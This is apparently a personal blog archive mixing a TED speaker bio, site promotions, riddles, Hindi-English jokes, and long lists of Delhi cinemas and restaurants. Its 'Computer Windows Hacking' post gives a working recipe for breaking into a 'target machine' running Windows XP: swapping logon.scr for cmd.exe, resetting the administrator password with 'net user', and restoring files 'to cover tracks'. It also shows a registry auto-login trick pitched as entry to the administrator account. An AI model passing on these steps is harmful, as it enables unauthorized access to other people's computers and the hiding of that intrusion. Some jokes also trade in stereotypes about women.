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2010-08-24T16:25:00.004+05:30

Pranav Mistry is the inventor of SixthSense, a wearable device that enables new interactions between the real world and the world of data

Why you should listen to him:

Pranav Mistry is a PhD student in the Fluid Interfaces Group at MIT's Media Lab. Before his studies at MIT, he worked with Microsoft as a UX researcher; he's a graduate of IIT. Mistry is passionate about integrating the digital informational experience with our real-world interactions.

Some previous projects from Mistry's work at MIT includes intelligent sticky notes, Quickies, that can be searched and can send reminders; a pen that draws in 3D; and TaPuMa, a tangible public map that can act as Google of physical world. His research interests also include Gestural and Tangible Interaction, Ubiquitous Computing, AI, Machine Vision, Collective Intelligence and Robotics.

Twitterons - Share your World!

2010-05-31T22:51:00.000+05:30

Twitterons - Share your World!

2010-05-29T07:19:00.000+05:30

Share your World!

With twitterons you can tell all your friends exactly what you are up to in real time. Stay in touch or move in tandem with quick updates and share messages, pictures and videos with anyone, anywhere you like. Business updates and exchanges, professional connections that can result in an avalanche of opportunities.

Mobile Twitterons - Open with your phone browser: http://www.twitterons.com/m (Simple Version for Mobile + Touch Version for iPhone)

Welcome to the World of Sunny

2009-04-20T09:09:00.000+05:30

Welcome to the World of Sunny

MyZonal.com

2009-03-12T23:39:00.000+05:30

MyZonal is an online community. We have more than a million registered members across world. Our members build relationships with people of similar backgrounds and interests. Here you can get connected to your schoolmates, ask for a genuine help or find a life partner. Start now. Make your community grow.

BIZ FRIENDS, friends,groups, albums, blogs, videos, music, confession, search, mailbox, mail, chat, forums, make friends, classifieds, events, invitation, article, wishes, jobs, tips, stories, shopping.

Check your Intelligence....?

2008-07-13T11:56:00.003+05:30

Below are four ( 4) questions and a bonus question. You have to answer them instantly. You can't take your time, answer all of them immediately. OK?

Let's find out just how clever you really are.

Ready? GO!!! (scroll down)

First Question:You are participating in a race. You overtake the second person. What position are you in?

Answer: If you answered that you are first, then you are absolutely wrong! If you overtake the second person and you take his place, you are second!

Try not to screw up in the next question.To answer the second question, don't take as much time as you took for the first question.

Second Question:If you overtake the last person, then you are...?

Answer: If you answered that you are second to last, then you are wrong again. Tell me, how can you overtake the LAST Person?

You're not very good at this! Are you???

Third Question:Very tricky math! Note: This must be done in your head only.Do NOT use paper and pencil or a calculator. Try it.

Take 1000 and add 40 to it. Now add another 1000. Now add 30. Add another 1000. Now add 20. Now add another 1000 Now add 10. What is the total?
Scroll down for answer.

Did you get 5000?

The correct answer is actually 4100.

Don't believe it? Check with your calculator! Today is definitely not your day. Maybe you will get the last question right?

Okay, now the bonus round:There is a mute person who wants to buy a toothbrush. By imitating the action of brushing one's teeth he successfully expresses himself to the shopkeeper and the purchase is done.
Now if there is a blind man who wishes to buy a pair of sunglasses, how should he express himself? plz dont see before answer

He just has to open his mouth and ask, so simple.
Njoyed or not!!!!!!!!!!!!!!!!!!!!!!! ?

This is sumthing really interesting.. go thru it
Not only our technical knowledge helps, but also the presence of mind and the right answer
at right time. Even if u don't know the answer for a question just confuse the questioner

Question and the Answer given by Candidates (oh sorry they are IAS Officers now!)

Q.How can you drop a raw egg onto a concrete floor without cracking it?
A. Concrete floors are very hard to crack! (UPSC Topper)

Q.If it took eight men ten hours to build a wall, how long would it take four men to build it?
A. No time at all it is already built. (UPSC 23 Rank Opted for IFS)

Q.If you had three apples and four oranges in one hand and four apples and three oranges in
the other hand, what would you have?
A. Very large hands.(Good one) (UPSC 11 Rank Opted for IPS)

Q. How can you lift an elephant with one hand?
A. It is not a problem, since you will never find! An elephant with one hand. (UPSC Rank 14 Opted for IES)

Q. How can a man go eight days without sleep?
A. No Probs , He sleeps at night. (UPSC IAS Rank 98)

Q. If you throw a red stone into the blue sea what it will become?
A. It will Wet or Sink as simple as that. (UPSC IAS Rank 2)

Q. What looks like half apple ?
A : The other half. (UPSC - IAS Topper )

Q. What can you never eat for breakfast ?
A : Dinner.

Q. What happened when wheel was invented ?
A : It caused a revolution.

Q. Bay of Bengal is in which state?
A : Liquid (UPSC 33Rank )

Better Luck Next Time!!

Interviewer said "I shall either ask you ten easy questions or one really difficult
question.

Think well before you make up your mind!"
The boy thought for a while and said, "my choice is one really difficult question."

"Well, good luck to you, you have made your own choice! Now tell me this.

"What comes first, Day or Night?"
The boy was jolted into reality as his admission depends on the correctness of his answer,
but he thought for a while and said,
"It's the DAY sir!"

"How" the interviewer asked,

"Sorry sir, you promised me that you will not ask me a SECOND difficult question!"

He was selected for IIM!

"Technical Skill is the mastery of complexity, while Creativity is the master of simplicity "

Logical Power?

2008-07-13T11:47:00.002+05:30

Question for all u guys.....

You are driving along in your car on a wild, stormy night, when you pass by a bus stop, and you see three people waiting for the bus:
1. An old lady wholooks as if she is about to die.
2. An old friend who once saved yourlife.
3. The perfect partner you have been dreaming about.

Which one would you choose to offer a ride to, knowing that there could only be one passenger in your car? Think before you continue reading
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This is a moral/ethical dilemma that was once actually used as part of a job application.
You could pick up the old lady, because she is going to die,and thus you should save her first;
or you could take the old friend because he once saved your life, and this would be the perfect chance to pay himback.
However, you may never be able to find your perfect mateagain.

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NOW READ THIS:
The candidate who was hired (out of 200applicants) had no trouble coming up with his answer.
He simplyanswered: I would give the car keys to my old friend and let him take the lady to the hospital. I would stay behind and wait for the bus with the partner of my dreams.

Sometimes, we gain more if we are able to give upour stubborn thought limitations.

Wonderful Poem

2008-07-09T16:51:00.001+05:30

A grade 5 teacher one day asked the children in her class to make rhymes with their names.

First up was Dan.
A very adventurous child.
My name is Dan,
When I grow up to be a man,
I want to go to India and Japan,
If I can, If I can, If I can.

"Very good", the teacher said to Dan.

She then asked Sally that it was now herturn.
My name is Sally,
When I grow up to be a lady,
I want to have a baby
If I can, if I can, if I can.

"That is good Sally," the teacher said. "But maybe one day you will change yourmind.

"Next up was Glenn.
He was the naughty one in the class.
Here is his rhyme:
My name is Glenn,
When I grow up to be a man,
Never mind India and Japan,
I'm gonna help Sally with her plan,I know I can, I can, I can.

A Married Couple

2008-07-09T16:48:00.001+05:30

A married couple is driving along a highway doing a steady forty miles per
hour.
The wife is behind the wheel.
Her husband suddenly looks across at her and speaks in a clear voice.
“Darling,” he says. “I know we’ve been married for twenty years, but I want
a divorce.”

The wife says nothing, keeps looking at the road ahead but slowly increases
her speed to 45 mph.

The husband speaks again. “I don’t want you to try and talk me out of it,”
he says, “because I’ve been having an affair with your best friend, and
she’s a far better lover than you are.”

Again the wife stays quiet, but grips the steering wheel more tightly and
slowly increases the speed to 55.

He pushes his luck.. “I want the house,” he says insistently. Up to 60 mph.
“I want the car, too,” he continues. 65 mph. “And,” he says,”I’ll have the
bank accounts, all the credit cards and the boat.”

The car slowly starts veering towards a massive concrete bridge.
This makes him a wee bit nervous, so he asks her: “Isn’t there anything you want?”

The wife at last replies - in a quiet and controlled voice. “No, I’ve got
everything I need.” she says. “Oh, really?” he inquires, “So what have you
got?”
Just before they slam into the wall at 75 mph,
the wife turns to him and says:

“The airbag.”

Questions Women Asks

2008-07-09T16:47:00.000+05:30

Am I fat?

Do you think she’s pretty?

Will you call me?

Do you love me?

This dress or this one?

I have nothing to wear! How?

Should I sign up for this aerobics class?

Will you love me forever?

You will never leave me right?

Do you mind if I become very fat?

Whose hair is this on your bed

What Does Love Mean???

2008-07-09T16:45:00.001+05:30

A group of professional people posed this question to a group of 4 to 8 year-olds,
“What does love mean?”
The answers they got were broader and deeper than anyone could have imagined.
See what you think:

“When my grandmother got arthritis, she couldn’t bend over and paint her toenails anymore. So my grandfather does it for her all the time, even when his hands got arthritis too. That’s love.” …Rebecca - age 8 >>>>>>>>>>>>>>>>>>>>>>>>>

When someone loves you, the way they say your name is different. You know that your name is safe in their mouth.” …Billy - age 4 >>>>>>>>>>>>>>>>>>>

“Love is when a girl puts on perfume and a boy puts on shaving cologne and they go out and smell each other.” …Karl - age 5 >>>>>>>>>>>>>>>>>>>>

Girls Quotes

2008-07-09T16:41:00.001+05:30

Good girls go to heaven, bad girls go everywhere.

Put your hand on a hot stove for a minute, and it seems like an hour. Sit with a pretty girl for an hour, and it seems like a minute. THAT'S relativity.

I was about half in love with her by the time we sat down. That's the thing about girls. Every time they do something pretty... you fall half in love with them, and then you never know where the hell you are.

Girls. You never know what they're going to think.

If you can make a girl laugh - you can make her do anything.

I've been looking for a girl like you - not you, but a girl like you.

A girl can wait for the right man to come along but in the meantime that still doesn't mean she can't have a wonderful time with all the wrong ones.

You may admire a girl's curves on the first introduction, but the second meeting shows up new angles

To find out a girl's faults, praise her to her girl friends

A guy and a girl can be just friends, but at one point or another, they will fall for each other...Maybe temporarily, maybe at the wrong time, maybe too late, or maybe forever.

Girls have an unfair advantage over men: if they can't get what they want by being smart, they can get it by being dumb.

A true man does not need to romance a different girl every night, a true man romances the same girl for the rest of her life.

Computer Windows Hacking

2008-06-07T21:25:00.004+05:30

How to hack windows XP admin password

If you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly:
cd\ *drops to rootcd\windows\system32 *directs to the system32 dirmkdir temphack *creates the folder temphackcopy logon.scr temphack\logon.scr *backsup logon.scrcopy cmd.exe temphack\cmd.exe *backsup cmd.exedel logon.scr *deletes original logon.scrrename cmd.exe logon.scr *renames cmd.exe to logon.screxit *quits dos
Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.

Once this happens if you enter this command minus the quotes
"net user password"

If the Administrator Account is called SunnyKhetarpal and you want the password blah-blah enter this
"net user Sunnykhetarpal blah-blah"
and this changes the password on Sunnykhetarpals machine to blah-blah and your in.
Have fun

pls: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Registry Hacking

Display legal notice on startup:Wanna tell your friends about the do's and dont's in your computer when they login in your absence.
Well you can do it pretty easily by displaying a legal notice at system start up.REGEDIT[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="Enter Any Notice"
"legalnoticetext"="Enter Legal Notice Here"

Automatic Administrator Login:

Well here's the trick which you can use to prove that Windows XP is not at all secure as multi-user
operating system. Hacking the system registry from any account having access to system registry puts
you in to the administrator account.REGEDIT 4[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"AutoAdminLogon"="1"

Increasing options in add/remove programs:

Not a fan of MSN Messenger? don't want Windows Media Player on your system? Fair enough, but if you
go to Add/Remove Programs in the Control Panel, by default none of Windows XP's 'built in' programs
are visible. it's fairly easy to change, though... just open the file X:\Windows\inf\sysoc.inf
(where X: is the drive letter where Windows XP is installed) in Notepad. You should see a section of
the file something like this:

[Components]

NtComponents=ntoc.dll,NtOcSetupProc,,4
WBEM=ocgen.dll,OcEntry,wbemoc.inf,hide,7
Display=desk.cpl,DisplayOcSetupProc,,7
Fax=fxsocm.dll,FaxOcmSetupProc,fxsocm.inf,,7
NetOC=netoc.dll,NetOcSetupProc,netoc.inf,,7
iis=iis.dll,OcEntry,iis.inf,,7
com=comsetup.dll,OcEntry,comnt5.inf,hide,7
dtc=msdtcstp.dll,OcEntry,dtcnt5.inf,hide,7
IndexSrv_System = setupqry.dll,IndexSrv,setupqry.inf,,7
TerminalServer=TsOc.dll,HydraOc,,hide,2
msmq=msmqocm.dll,MsmqOcm,msmqocm.inf,,6
ims=imsinsnt.dll,OcEntry,ims.inf,,7
fp_extensions=fp40ext.dll,FrontPage4Extensions,fp40ext.inf,,7
AutoUpdate=ocgen.dll,OcEntry,au.inf,hide,7
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
RootAutoUpdate=ocgen.dll,OcEntry,rootau.inf,,7
IEAccess=ocgen.dll,OcEntry,ieaccess.inf,,7

This is a list of all components installed at the moment. I've taken the example of MSN Messenger - the program entry called 'msmsgs', third-last line. You can see the word 'hide' highlighted - this is the string which tells Windows not to display the component in the Add/Remove Programs list. Fix this up by simply deleting the word 'hide' like so:

msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,hide,7
To this:
msmsgs=msgrocm.dll,OcEntry,msmsgs.inf,,7

Now, after restarting, you should be able to see MSN Messenger in the Add/Remove Programs list. If
you want to be able to quickly view and remove all components, simply open the sysoc.inf file and do
a global find and replace for the word ",hide" and replace it with a single comma ",".

Speed up Internet Explorer 6 Favorites

For some reason, the Favorites menu in IE 6 seems to slow down dramatically sometimes--I've noticed this happens when you install Tweak UI 1.33, for example, and when you use the preview tip to speed up the Start menu. But here's a fix for the problem that does work, though it's unclear why:
Just open a command line window (Start button -> Run -> cmd) and type sfc, then hit ENTER. This command line runs the System File Checker, which performs a number of services, all of which are completely unrelated to IE 6. But there you go: It works.

Speeding Up Share Viewing:

This is a great tweak. Before I found it, I was always smashing my head against the table waiting to
view shares on other computers. Basically, when you connect to another computer with Windows XP, it
checks for any Scheduled tasks on that computer - a fairly useless task, but one that can add up to
30 seconds of waiting on the other end - not good! Fortunately, it's fairly easy to disable this
process. First, navigate to HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current
Version/Explorer/RemoteComputer/NameSpace in the Registry. Below that, there should be a key called
{D6277990-4C6A-11CF-8D87-00AA0060F5BF}. Just delete this, and after a restart, Windows will no longer check for scheduled tasks - mucho performance improvement!

Create a Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on
your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver.
To create a shortcut on your desktop to lock your computer:
Right-click the desktop. Point to New, and then click Shortcut.
The Create Shortcut Wizard opens. In the text box, type the following:
rundll32.exe user32.dll,LockWorkStation
Click Next. Enter a name for the shortcut. You can call it
"Lock Workstation" or choose any name you like.
Click Finish. You can also change the shortcut's icon (my personal favorite is the padlock icon in shell32.dll).
To change the icon: Right click the shortcut and then select Properties.
Click the Shortcut tab, and then click the Change Icon button.
In the Look for icons in this file text box, type: Shell32.dll. Click OK. Select one of the icons
from the list and then click OK You could also give it a shortcut keystroke such CTRL+ALT+L.

This would save you only one keystroke from the normal command, but it could be more convenient.

2008-02-21T20:32:00.004+05:30

Good cinemas in and around Delhi
It is strange but true that it is difficult to find the websites for the good cinemas which are to expats liking in one place. That's why we thought to give you the results of our many frustrating online searches - to save you the hassle.

The following are the websites of some of the good cinemas in and around Delhi - they are modern according to Western standards and show English movies. As in the West good snacks are also available like popcorn, nachos, etc. The listings for movies are published daily in all main english newspapers such as The Times of India.

We will be reviewing some them in future. We will also add to this list as and when more are opened.

PVR Cinemas
There are many of these at various locations in Delhi, check the website for details.

Wave Cinemas - Noida
Located at the CentreStage mall in Noida

Satyam Cineplexes - One of these will be coming to Nehru place soon, all of us in South Delhi have been waiting for this.

DT Cinemas
Located at City Centre mall & Mega mall in Gurgoan.

Adlabs - IMAX
Located at Pacific Mall,Plot No. 1, Dr Burman RoadSahibabad, Ghaziabad. Tel : 0120-3012053/54

IMAX 3D theatres feature advanced twin-lens projection systems that enable images to leap from the giant flat silver screen and into the seats. At an IMAX 3D presentation you are provided with custom designed polarized glasses or a cordless electronic headset precisely aligned with the projection system. The effect is truly amazing and not available anywhere else. Almost half of all IMAX theatres can also show 3D presentations.

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West Delhi
PVR Vikaspuri,
Community Centre, Main Market, Vikaspuri,
Ph:2589-1269/70
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South Delhi
PVR Saket,
Saket,
Ph:2686-5999, 2615-1111

PVR Priya Cinema,
Basant Lok Community Centre,
Vasant Vihar.,
Ph:2614-0048/0049/7696

PVR Rivoli, Connaught Place

PVR Plaza,
Connaught Place,
Ph:4151-0787

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Gurgaon
PVR Sahara
PVR Gurgaon Mainstream
PVR Cinema Europe
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Ghaziabad
PVR EDM
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Noida
Spice PVR
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Corporate Office PVR LIMITED,Block A,4th Floor,
Building No.9 DLF Cyber City,phase II
Gurgaon- 122002Haryana(INDIA)
Tel:91 124 4708100 Fax:91 124 4708101

For online Ticket Booking related issues Please contact
support@pvrcinemas.com

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Mobile Ticketing :
For Delhi & NCR:
52787* (Airtel)
55787* (Idea)
50787* (Vodafone)

Or use PVR Mobile Ticketing Application**

Home Delivery : 011-27944194
Group Bookings : 011-41000462
Online Ticketing : http://www.pvrcinemas.com/

*Premium call charges Rs.6/min apply. For Airtel/Vodafone/Idea subscriber only.
**To download application sms PVR to 56465 (Airtel Subscribers only). Premium charges Rs.3/sms.
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Jokes

2008-02-20T22:40:00.003+05:30

Munna Bhai & Circuit
Munna bhai: "apun ko kaisay pata chalay ga k yea bakra hai ya bakri?"
Circuit: "bolay to simple hai bhai
Pather maar kar dekho, agar bhaaga to bakra or bhaagi to bakri" ;-)

Santa Complaint
Santa: mujhe fone per dhamkiyaa mil rahi hain
Police: kaun hai woh??
Santa: PTCL walay boltay hain k bill na diya to
"kaat dayn gay"

Santa in School
Santa came to school with one black and one white shoe
Sir: go home and change!
Santa: Koi faida nai sir, ghar mian bi ek black and ek white shoe hai

Two Men
Two men searching for their lost wives.
1st man: how ur wife look like??
2nd man: tall, beautiful, fair, blue eyes, bold. What about yours?
1st man: merey nu maar goli, chal terey labiyee

Ek ladka ek ladki k saath baitha tha. 2nd day doosri ladki k saath dehagaya .
3rd day koi aur ladki thi. 4th day kisi nayi ladki ke saath tha
Moral: Ladkiyan badal jaati hain, ladke nahin badaltey

It takes thousand workers 2 build a castle, Million soldiers 2 protect a country, but just One woman 2 make a Happy Home!
Let's Thank... KAAMWALI BAI

Ek yug tha jab log apne ghar ke dwar pe likhte the: ATITHI DEVO BHAVA
Phir likha: SHUBH LABHPhir likhne lage: U R WELCOMEAur
ab likhte hain: KUTTON SE SAVDHAN

Khuda kare tujhe khushiyan hazaar mile, mujhse bhi achche yaar mile,
meri galfriend tujhe raakhi baandhe aur tujhe ek aur behan ka pyar mile

Only 20% boys have brains. Rest have

Girlfriends

24 hour Coffee Shop

2008-01-25T16:08:00.001+05:30

Aka Saka,
Defence Colony Market,
tel # 011-4691265.

Berco's , *
E-8, Connaught Place,
tel #011-3323757.

Bali Hai ,
Maurya Palace Sheraton Hotel & Towers,
Sardar Patel Marg,
tel # 011-3010101.

Baan Thai , ***
The Oberoi,
Dr Zakir Hussain Marg,
tel #4363030.

Blooms,
Park Royal,
Nehru Place,
tel # 011-6223344
China Fare ,
27 A, Khan Market,
tel # 011-4618602.

Chinese Room ,
Ambassador Hotel,
Sujan Singh Park,
tel # 4632600.
Chopsticks, ***
Asian Games Village,
Khel Gaon Marg,
tel # 6492348,6493628.

Chung Wa ,
Greater Kailash-2 Market,
tel # 011-6227877.

Daitchi,
E 19A South Extension-2 Market,
tel # 011-6447511.
Drums of Heaven , ****
S 14, Green Park Extension,
tel # 011-661779.
Empress of China ,
The Park Royal,
Nehru Place,
tel # 011-6223344:

Fa Yian , *****
25/2 A Block Middle Circle,
Connaught Place,
tel #3324603, 3324239.

Faley's,
14, Defence Colony Market, tel # 4623612.
Fujiya, ****
12/48 Malcha Marg Shopping Centre,
tel # 011-3016059.

The Golden Dragon ,***
22-23 Panchsheel Enclave,
DDA Market,
tel # 011-6436682.
A branch at C-2, Main Market Vasant Vihar
, tel #011-6141849.

Golden Phoenix ,
Hotel Le Meridien,
1, Windsor Place,
tel # 011-3710101.

House of Ming , ****
Taj Mahal Hotel,
1, Mansingh Road,
tel # 3016162

Ichiban,
9, Pandara Road Market,
tel # 011-3386689.
Jade Garden ,
Hotel Claridges,
12, Aurangzeb Road,
tel # 3010211.
Jewel of the East ,
The Ashok,
Chanakyapuri,
tel # 011-6110101.

Lee's Garden ,
M-Block Market,
Greater Kailash 1,
tel # 6442519.
Lotus Garden ,
SF 9, Bhikaiji Cama Bhawan,
tel # 011-6110244.
Lotus Pond ,
Near Crowne Plaza Surya Hotel,
New Friends Colony., tel # 011-6839256.

Mandarin Room ,
Hotel Janpath,
Janpath,
tel # 011-3320070.
Moet's, *
50, Defence Colony Market,
tel # 011-4626814.
Nirula's Chinese Room ,
L-Block, Connaught Circus,
tel # 3324659.

Noble House ,
Intercontinental,
Barakhamba Road,
tel # 011-3320101.

Peking Square ,
Defence Colony Market,
tel # 011-4693388.
Princess Garden ,
South Extension-Part 2 Market,
tel # 011-6476950.

Salt & Pepper ,
M Block Market,
Greater Kailash-1,
tel # 011-6223076, 6417796.

Sampan,
Hotel Crowne Plaza Surya,
New Friends Colony,
tel#6835070.

Shaolin,
Centaur Hotel,
Near IGIA,
tel # 011-5481411.

Shen Chou Gourmet Gallery ,
E-12, South Extension--2,
tel # 011-6224651, 6224652.

Sukothai,
24 Hauz Khas Village,
tel # 011-6853846.
Suribachi
Panchsheela-Malviya Nagar Road,
tel # 011-6447744.

Szechwan Garden ,
8 Hauz Khas Village,
tel # 011-6858063.
Taipan,
The Oberoi,
Dr Zakir Hussain Marg,
tel # 4363030.
Tea House of the August Moon*****
Taj Palace,
1 Sardar Patel Marg,
tel # 011-3010404.

The Silk Orchid ,
Intercontinental,
Barakhamba Road,
tel # 011-3320101,
(only dinner).

TK's,
Hyatt Regency Hotel,
1 Bhikaji Cama Place,
tel #6181234.
Tokyo,
The Ashok,
Chanakyapuri,
tel # 011-6110101.

Wanchai,
Lodhi Hotel,
tel # 011-4362422.
Yokohama,
10/48 Malcha Marg Shopping Complex,
tel # 011-372444.

Zen Restaurant ,
B-25, Connaught Place, t
el # 011-3320424.

Indian Cuisine

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Alagila,
11-B/36, Lajpat Nagar,
tel # 011-6833305
Alkauser Bar-B-Q ,
Sardar Patel Marg-Kautilya, Marg Corner,
tel # 011-3015183. A branch at Anand Lok, Vasant Vihar, tel # 011-6104101.

Angeethi Bar-Be-Que and
Ankur ,
Asian Games Village,
Khel Gaon Marg,
tel # 011-6493995, 64939453

Arabian Nites ,
59, Vasant Vihar,
tel # 011-6888168 and Defence Colony Market.

Bal Gopal ,
Darya Ganj,
tel # 011-3267844:

Baluchi,
Intercontinental,
Barakhamba Road,
tel #011-3320101.

Baradari,
Hotel Samrat,
Chanakyapuri,
tel # 011-603030.
Bar-e-Kabab,
The Ashok,
Chanakyapuri,
tel # 011-600121.

Brindavan ,
M 45 Greater Kailash Market, Part-1,
tel # 011-6421208.

Bukhara,*****
Maurya Palace Sheraton Hotel and Towers,
Sardar Patel Marg,
tel # 011-3010101.

Celebrity,
Park Hotel,
15 Sansad Marg,
tel # 011-3732477.
Chor Bizarre , **
Hotel BRoadway,
Asaf Ali Road,
tel # 011-3273821.

Coconut Grove ,***
Ashok Yatri Nivas,
19 Ashoka Road,
tel #3324511.

Copper Chimney ,***
Pamposh Enclave,
Greater Kailash-1,
tel # 6413999, 6482456.

Corbetts,
Hotel Claridges,
12 Aurangzeb Road,
tel # 011-3010211.

Curry on the Roof , ***
24 Hauz Khas Village,
tel # 011-6853846,6859495.

D's Biryani Corner , **
91, Defence Colony Flyover Market,
tel # 4691687. Also at Vasant Kunj, tel # 011-6897562.

Dasaprakash, ***
Hotel Ambassador,
Janpath
tel # 011-4694966,4690391.

Dastar Khawane Karim ,*****
Nizamuddin West,
tel # 011-4698300,4635458.

Dawat Khana ,
17, Community Centre,
New Friends Colony,
tel #011-6837186, 6837994.

Delhavi ,
The Park Royal,
Nehru Place,
tel # 011-6223344:

Delhi ka Aangan ,
Hotel Hyatt Regency,
1 Bhikaji Cama Place,
tel #011-6181234:

Dhaba,
Hotel Claridges,
12 Aurangzeb Road,
tel # 011-3010211
Dilli Darbar ,
M Block Market,
Greater Kailash Part I.

Dilli Haath ,
Opp INA MArket

Dum Pukht , *****
Maurya Palace Sheraton Hotel and Towers,
Sardar Patel Marg
tel # 011-3010101.

Durbar,
The Ashok,
Chanakyapuri,
tel # 011-6110101.

Essex Farm , *
4-Aurobindo Marg,
IIT Crossing,
tel #011-665491.
Flora,
Urdu Bazaar,
behind Jama Masjid,
tel # 011-3264593.
Foodland,
Panchsheel
Gitanjali Marg,
tel # 011-6461119.

Frontier,
The Ashok,
Chanakyapuri,
tel # 011-6110101.
Dilli Darbar ,
M Block Market,
Greater Kailash Part I
The Great Kabab Factory ,
Radisson,
tel # 011-6137373.

Gulati,
6, Pandara Road,
tel # 011-3388839, 3388838, 3388839, 3782949.

Gulnar,
Hotel Janpath,
Janpath,
tel # 011-3320070.
Handi , ***
Hotel Taj Palace,
1, Sardar Patel Road,
tel # 011-3010404.

Harim's Corner ,
A-22, Green Park,
tel # 011-664738.
Haveli,
Taj Mahal Hotel,
1, Mansingh Road,
tel # 011-3016162
Have More ,
11-12 Pandara Road Market,
tel # 011-3387070, 3387171.

Janpath Food Plaza ,
Hotel Janpath,
Janpath,
tel # 011-3320070.
Jawahar,
Jama Masjid.
Kabila,
DDA Local Shopping Centre,
Aurobindo Place,
Hauz Khas,
tel # 011-668494, 6864920.

Kalpavaadi, ***
Branches at Lajpat Nagar, Yusuf Sarai and Chanakyapuri.

Kanchi,
Centre Point,
Kasturba Gandhi Marg,
tel # 011-3326715,3324805.

Kandahar, ****
The Oberoi,
Dr Zakir Hussain Marg,.
tel # 011-4363030.

Karim, *****
Jama Masjid,
a branch at Nizammuddin West,
tel #011-4698300, 4635458:

Khana Khazana ,
Bawa Farms,
Bharat Petroleum Road,
Samalka,
tel # 011-5564905, 5564906.

Khas Bagh ,
The Village Bistro,
12 Hauz Khas Village.
tel # 663905.

Khyber,
Siddharth Hotel,
tel # 011-5762501.
Kovil, ***
E-2, Connaught Place,
tel # 011-3710585
Mehrab ,
Lodi Hotel, Lodi Estate,
tel # 011-4632422.

Mini Mughal ,
1/6 Jor Bagh Market,
tel # 011-4617979, 46979796.
Moet's, **
50, Defence Colony Market,
tel # 011-4626814
Mohalla,
The Village Bistro,
2 Hauz Khas Village,
tel # 663869,665445, 6853857.

Moti Mahal Deluxe ,
M 30, Greater Kailash Part I,
tel # 6412467.
A branch at
20/48, Malcha Marg, Chanakyapuri,
tel # 011-3792760, 3018698.

Mughal Mahal Restaurant ,
Sethi Bhavan,
7-Rajendra Place,
tel #011-5710408.

Naivedyam,***
1, Hauz Khas Village,
tel # 011-6960426.

New Kababchi ,
36 B, Khan Market,
tel # 011-4611270.
Palki,
K-15, Connaught Circus,
tel # 011-3354455.
Pakwan,
Hotel Le Meridien,
1, Windsor Place,
tel # 011-3710101.

Parikrama,
22, Antriksha Bhavan,
Kasturba Gandhi Marg,
tel #011-3721616, 3721617.

Park Baluchi ,
Hauz Khas Village,
tel # 011-6859369.
Pyramids,
Andheria More,
Gurgaon Road,
tel # 011-680 1588

Razia Sultan ,
225 Lado Sarai,
Mehrauli,
tel # 011-6865418.
Sagar, ***
Defence Colony Market,
tel # 011-4617832

Sagar Ratna ,
Lodhi Hotel,
Lala Lajpat Rai Marg, tel # 011-4362422.

Sikandra,
Crowne Plaza Surya,
New Friends Colony,
tel # 6835070.
Sona Rupa , *
46, Janpath,
tel # 011-33268077.
Tasveer,
Gourmet Gallery,
E-12, South Extension,
tel # 011-6224651, 6224652.

The Host ,
F-8 Connaught Circus,
tel # 011-3316576, 3313628.
Volga Restaurant , ***
19 B Connaught Place,
tel # 011-3322960.

WESTERN CUISINE

Academy Book Cafe (A B C),
4, Siri Fort Industrial Area,
tel #011-6486290.

Al Capone ,
12 Hauz Khas Village,
tel # 011-663905, 663869,
663970.

Andaaz,
Vasant Continental,
tel # 011-678800.

Bankura, ***
CCIC, Janpath,
tel # 011-3328506.
Basil And Thyme ,
Santushti Shopping Complex,
tel # 011-6887179,6187180,
Extension: 111.

Cafe Milano ,
E-564, Greater Kailash-2,
tel # 6220448.

Cafe Pedro ,****
Hauz Khas Village,
tel # 011-6961789.
Culinaire,
Chandan Market,
S Block, Greater Kailash,
tel #011-6422414.

Duke's Place , ****
Hauz Khas Village,
tel # 011-6864909, 6864920.

Ego,
4 Community Centre,
New Friends Colony,
tel # 011-6918185.
El Rancho ,
Friends Colony Community Market
Embassy,
11 D Connaught Place,
tel # 011-3320480, 3326434.

Garden Terrace ,
Oberoi Maidens,
7 Shyam Nath Marg,
tel # 2525464.

Scribbles, ***
Gourmet Gallery,
E 12 South Extension Part 2,
tel # 011-6224651,6224652.

Kwality, ****
6-7, Regal Building,
tel # 011-3732352, 3311752.

La Belvedere ,
Hotel Le Meridien,
tel # 011-3710101.
La Piazza ,
Hyatt Regency,
1, Bhikaji Cama Place,
tel # 6181234.
La Rochelle ,
The Oberoi,
Dr Zakir Hussain Marg,
tel #4363030.

Las Meninas ,
The Park,
Parliament Street,
tel # 011-3733737,3732477:

Longchamp,
Taj Mahal Hotel,
1 Mansingh Road,
tel # 011-3016162

Mezza Luna , *****
Hauz Khas Village,
tel # 011-6512552

New Delhi Metro ,
South Extension Market 1,
tel # 011-4699323.
Nirula's Salad Bar , ****
L Block, Connaught Circus,
tel # 011-3324659.
Orbit,
Hotel Janpath,
Janpath,
tel # 011-3320070.

Orient Express , ****
Taj Palace Hotel,
1, Sardar Patel Marg,
tel #011-3010404.

Pierre,
Hotel Le Meridien,
1, Windsor Place,
tel # 011-3710101.
Renaissance,
Gourmet Gallery,
E-12, South Extension--2,
tel #011-6224651, 6224652.

Rodeo,
12 A Connaught Place,
tel # 011-3713780, 3713781.
Salad Chef ,
C1 Main Market Vasant Vihar,
tel # 011-6874105.
Tavern,
Imperial Hotel,
Janpath,
tel # 011-3325332, 3321989.

The Grill Room ,
Intercontinental,
Barakhamba Road,
tel # 011-3320101.

Top Deck ,
Intercontinental,
Barakhamba Road,
tel # 3320101.

Vaishali,
Hotel Siddharth,
tel # 011-5762501.

Valentino's,
Hyatt Regency,
1, Bhikaji Cama Place,
tel # 6881234.
Viceroy,
Crowne Plaza Surya,
New Friends Colony,
tel # 6835070
(dinner only).

West View ,
Maurya Palace Sheraton Hotel & Towers,
Sardar Patel Marg,
tel # 011-3010101

ORIENTAL CUISINE

Aka Saka,
Defence Colony Market,
tel # 011-4691265.

Berco's , *
E-8, Connaught Place,
tel #011-3323757.

Bali Hai ,
Maurya Palace Sheraton Hotel & Towers,
Sardar Patel Marg,
tel # 011-3010101.

Baan Thai , ***
The Oberoi,
